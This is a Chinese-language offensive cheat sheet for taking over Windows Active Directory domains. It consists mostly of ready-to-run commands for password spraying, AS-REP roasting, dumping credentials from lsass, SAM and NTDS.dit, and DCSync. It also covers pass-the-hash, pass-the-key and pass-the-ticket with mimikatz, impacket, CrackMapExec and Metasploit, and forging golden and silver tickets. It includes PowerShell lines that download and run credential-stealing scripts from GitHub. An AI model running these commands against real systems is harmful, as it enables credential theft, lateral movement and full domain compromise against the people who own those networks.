弱口令

1.超级弱口令检查工具

https://github.com/shack2/SNETCracker

2.CrackMapExec

https://github.com/byt3bl33d3r/CrackMapExec

3.NetExec

https://github.com/Pennyw0rth/NetExec

4.PsMapExec

https://github.com/The-Viper-One/PsMapExec

账号密码爆破

https://github.com/ropnop/kerbrute/releases

#爆账号
kerbrute_windows_amd64.exe userenum -d org.gm7 username.txt

#密码喷洒
kerbrute_windows_amd64.exe passwordspray -d org.gm7 username.txt 单个密码

AS-REP Roasting

在用户开启Dot not require Kerberos preauthentication(不要求 Kerberos 预身份验证)时,此时向域控制器的88端口发送AS-REQ请求,对收到的AS-REP内容重新组合,能够拼接成Kerberos 5 AS-REP etype 23 (18200) 的格式,接下来可以使用hashcat对其破解,最终获得该用户的明文口令。(局限性大)

域内主机

1.Rubeus

https://github.com/GhostPack/Rubeus

如果当前主机在域内的话,会自动搜索域内设置了“不要求kerberos预身份验证的用户”,工具会将AS-REP响应包中返回的用户Hash加密的Login Session Key以John能破解的格式保存为hash.txt

Rubeus.exe asreproast /format:john /outfile:hash.txt

2.ASREPRoast.ps1

如果当前主机在域内的话,通过执行如下命令导入 ASREPRoast.ps1 脚本并进行操作。该脚本会自动搜索域内设置了不要求 Kerberos 预身份验证的域用户, 并以该用户身份发送 AS-REQ 请求,由于不需要预身份验证,所以域控会直接返回 AS-REP 回复包。然后该工具会打印出不要求 Kerberos 预身份验证的用户名,DN以及用户 Hash 加密的 Login Session Key 也就是 Hash。然后我们使用 select 语句过滤出 Hash。

Import-Module .\ASREPRoast.ps1
Invoke-ASREPRoast | select -ExpandProperty Hash

3.PowerView.ps1

Import-Module .\PowerView.ps1
Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose # 查找符合条件的用户
Import-Module .\ASREPRoast.ps1
Invoke-ASREPRoast -Verbose |fl //导出可用用户hash
hashcat -m 18200 '获取的hash,拼接成hashcat能够识别的格式需要在$krb5asrep后面添加$23' password.lst -o found.txt --force # 使用hashcat破解

非域内主机

也得有个域账号密码(好鸡肋啊)

查询设置了不需要kerberos预身份验证的域内账号

adfind -h 192.168.1.1:389 -u test\hack -up P@ss1234 -f "useraccountcontrol: 1.2.840.113556.1.4.803:=4194304" -dn

获取test用户的Login Session Key Hash

Import-Module .\ASREPRoast.ps1
Get-ASREPHash -UserName test -Domain test.com -Server 192.168.1.1 | Out-File -Encoding ASCII hash.txt

或者直接爆破(不需要域内的账号密码)

python3 GetNPUsers.py -dc-ip 192.168.1.1 -usersfile users.txt -format john test.com/

hash的碰撞就很简单了,在$krb5asrep后面添加$23在$krb5asrep后面添加$23就行了

john --wordlist=/opt/pass.txt hash.txt

Kerberoasting

Kerberos协议进行到第四步的时候,不管客户端有无权限,只要TGT正确,就返回TGS票据(服务票据);也就是说域内任何用户都可以向域内任何服务请求TGS票据,再加上TGS票据的生成是使用服务账户的hash进行RC4-HMAC算法加密,站在利用的角度,我们是可以尝试使用强大的字典进行暴力破解TGS票据的

Hash传递(PTH)

Hash传递攻击,也称为Pass the Hash (PTH),内网横向最常用的手段之一。

攻击者获取目标系统用户的密码哈希值(通常是NTLM Hash),然后直接使用该哈希值进行身份验证,绕过了明文密码的需求。

原理: 由于整个NTLM认证的过程中都是用的NTLM Hash去加密,所以我们拿到了Hash,其实也相当于变相拿到了密码,只不过不是明文的而已。

利用场景:

  • 目标机>=win server 2012时,lsass.exe进程中是抓不到明文密码,只能拿到Hash
  • 随着信息安全意识的提高,弱口令情况逐渐降低,我们经常会遇到拿到Hash却解不开的情况,只能去传递Hash

获取hash

pc

1.mimikatz

直接使用
#管理员权限运行
privilege::debug
sekurlsa::logonpasswords
非交互式使用
mimikatz.exe "log a.txt" "privilege::debug" "sekurlsa::logonpasswords" "exit"
注册表打包
reg save HKLM\SYSTEM SystemBkup.hiv
reg save HKLM\SAM SamBkup.hiv
#使用mimikatz提取hash
lsadump::sam /system:SystemBkup.hiv /sam:SamBkup.hiv
#使用secretsdump提取hash
secretsdump.py -sam sam -system system LOCAL
powershell

https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1');Invoke-Mimikatz

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes
sqldumper

白名单文件

e364501451fc2f54d12307b2123df34.png

tasklist /svc |findstr lsass.exe
Sqldumper.exe ProcessID 0 0x01100 #修改ProcessID就行了
mimikatz # sekurlsa::minidump SQLDmpr0001.mdmp
mimikatz # log
mimikatz # sekurlsa::logonPasswords full
找新路子

可以去GitHub上找找[最新发布](https://github.com/search?q=dump lsass&type=repositories)的一些可用的,不行的话就再魔改。

2.msf

hashdump
run hashdump
run post/windows/gather/smart_hashdump

加载插件
load kivi # 加载
msv
tspkg
wdigest
kerberos
ssp

域控

由于AD的存储文件为 NTDS.dit,因此通过该文件,我们可以获取所有域用户的Hash

mimikatz

这里和普通PC一样,都是从 lsass.exe 的内存中获取到Hash。只能拿到本地用户的Hash,即域管的Hash,并不能获取整个域的用户Hash。

NTDS.dit

由于AD的存储文件为 NTDS.dit,因此通过该文件,我们可以获取所有域用户的Hash

#方法一
powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' q q"

#方法二

# 利用Windows上的一个卷影拷贝服务的命令行管理工具vssadmin可以将 ntds.dit 从域控中复制出来。
# 创建一个C盘的卷影拷贝
vssadmin create shadow /for=C:
# 将 ntds.dit 复制到 C:\temp\ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\ntds\ntds.dit C:\temp\ntds.dit
# 删除刚才创建的卷影拷贝
vssadmin delete shadows /for=c: /quiet
#拿到 ntds.dit 后,我们还需要获取到 SYSTEM 密钥文件
reg save HKLM\SYSTEM SYSTEM
#最后使用工具通过密钥SYSTEM就需要提取其中的hash。
#https://github.com/zcgonvh/NTDSDumpEx/releases
NTDSDumpEx -d ntds.dit -s system -o out.txt

#https://github.com/SecureAuthCorp/impacket
secretsdump.exe -system SYSTEM -ntds ntds.dit local

DCSYNC

DCSync是一种域渗透技术,利用目录复制服务(Directory Replication Service,DRS)的GetNCChanges接口向域控发起数据同步请求,以模仿域控从真实的域控中获取用户散列值。攻击者可以通过DCSync获取域内用户的密码哈希值,需要域管权限或者有DCSYNC权限的用户,一般情况下只有域管。

#使用 mimikatz(本地)
mimikatz "lsadump::dcsync /domain:org.gm7 /all /csv" "exit"

#使用impacket的secretdump.py,结果会保存到 dcsync_hashes 开头的文件中 填入域管的账号密码和目标机的地址
secretsdump.py -just-dc <user>:<password>@<ipaddress> -outputfile dcsync_hashes

hash利用

impacket套件

Impacket is a collection of Python classes for working with network protocols.

WMIEXEC

# python wmiexec.py -hashes LM Hash:NT Hash 域名/用户名@IP "命令"  # LM Hash不知道的情况下,可以全部用0代替
python3 examples/wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:3ac1e294fabedf7d2bfa80fec59f59b9 org/administrator@172.16.93.15 "whoami"

SMBEXEC

# python smbexec.py -hashes LM Hash:NT Hash 域名/用户名@IP
python3 examples/smbexec.py -hashes 00000000000000000000000000000000:3ac1e294fabedf7d2bfa80fec59f59b9 org/administrator@172.16.93.15 # LM Hash 可以用0代替
python3 examples/smbexec.py -hashes :3ac1e294fabedf7d2bfa80fec59f59b9 org/administrator@172.16.93.15 # 也可以留空

PSEXEC

# python psexec.py -hashes LM Hash:NT Hash 域名/用户名@IP
python3 examples/psexec.py -hashes 00000000000000000000000000000000:3ac1e294fabedf7d2bfa80fec59f59b9 org/administrator@172.16.93.15

CME

前面探测服务时用到了CrackMapExec,它也可以用来Hash传递。

cme smb 172.16.93.15/24 -u administrator -H 3ac1e294fabedf7d2bfa80fec59f59b9 -x whoami

由于cme不再更新,可以用NetExec或者PsMapExec平替。

msf

exploit/windows/smb/psexec
auxiliary/scanner/smb/impacket/wmiexec

use exploit/windows/smb/psexec
set payload windows/x64/exec # 可以自己根据选择,我这里演示没用meterpreter
set CMD calc.exe
set RHOSTS 172.16.93.15
set SMBDomain org.gm7
set SMBPass 00000000000000000000000000000000:3ac1e294fabedf7d2bfa80fec59f59b9
set SMBUser Administrator
run

mimikatz

# 没有域的时候,domain写 workgroup 就行
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:workgroup /ntlm:3ac1e294fabedf7d2bfa80fec59f59b9" "exit"

psexec \\dc.demo.com(或者ip) cmd

密钥传递(PTK)

pass the key (密钥传递攻击,简称 PTK)是在域中攻击 kerberos 认证的一种方式,原理是通过获取用户的aes,通过 kerberos 认证,可在NTLM认证被禁止的情况下用来实现类似 PTH 的功能;简单来说就是使用AES256或者AES128的方式进行传递。

需要满足如下条件:

ntlm hash is mandatory on XP/2003/Vista/2008 and before 7/2008r2/8/2012 kb2871997 (AES not available or replaceable) ; AES keys can be replaced only on 8.1/2012r2 or 7/2008r2/8/2012 with kb2871997, in this case you can avoid ntlm hash.

过程

#使用mimikatz获取aes key
mimikatz "privilege::debug" "sekurlsa::ekeys"

#PTK
mimikatz "privilege::debug" "sekurlsa::pth /user:a /domain:test.local /aes128:<获取到的aes128_hmac值>"
mimikatz "privilege::debug" "sekurlsa::pth /user:a /domain:test.local /aes256:<获取到的aes256_hmac值>"

mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:de1ay.com /aes256:35b15c1ce44f370ce557a91bc86ccb74fa11f1cf2a460773a53a62596b5a5978" "exit"

#导入后可直接进行远程连接,如 dir \\xxxxx\c$

(这玩意就是挺鸡肋的 貌似只能在入口机上用 而且得在域环境中)

票据传递(PTT)

黄金票据

AS-REP中AS返回给client的 TGT 中的 enc-part 是使用 krbtgt 用户的hash进行加密的,所以如果我们获取了krbtgt的hash就可以伪造任意用户登录域控,虽然域内用户密码常会修改,但是krbtgt是很少修改的。

#使用mimikatz获取krbtgt的SID和hash
mimikatz "lsadump::dcsync /domain:de1ay.com /user:krbtgt" "exit"
或者
mimikatz "privilege::debug" "lsadump::lsa /patch" "exit"

# 清除票据缓存
kerberos::purge

# 生成票据,伪造 Administrator
kerberos::golden /user:Administrator /domain:de1ay.com /sid:S-1-5-21-2756371121-2868759905-3853650604 /krbtgt:82dfc71b72a11ef37d663047bc2088fb /ticket:Administrator.kiribi

# 导入票据
kerberos::ptt Administrator.kiribi

# 查看票据
kerberos::list

#直接net use dir psexec即可

白银票据

白银票据不同于黄金票据,它不需要和域控交互,原理是伪造TGS(服务票据),使用的是计算机账户的hash进行加密的,所以只能访问指定的权限。
需要知道域sid号与账号的ntml hash

CIFS读文件

kerberos::purge

mimikatz kerberos::golden /domain:xxx.com /sid:S-1-5-21-1689890018-1579582480-2028816830 /target:win2012.xxx.com /service:cifs /rc4:413b48be059eb07bc98becbecf6e2955 /user:qqqq /ptt

.\mimikatz.exe "kerberos::golden /user:t /domain:teamssix.com /sid:S-1-5-21-284927032-1122706408-2778656994 /target:dc /rc4:ef9e49a41feaa171f642016fd4cb7e7a /service:cifs /ptt" exit

ldap服务权限

查看是否可以通过dcsync与域控同步,如果拿到krbtgt的hash就万事大吉了

lsadump::dcsync /dc:dc.de1ay.com /domain:de1ay.com /user:krbtgt

如果拿不到则说明当前权限有问题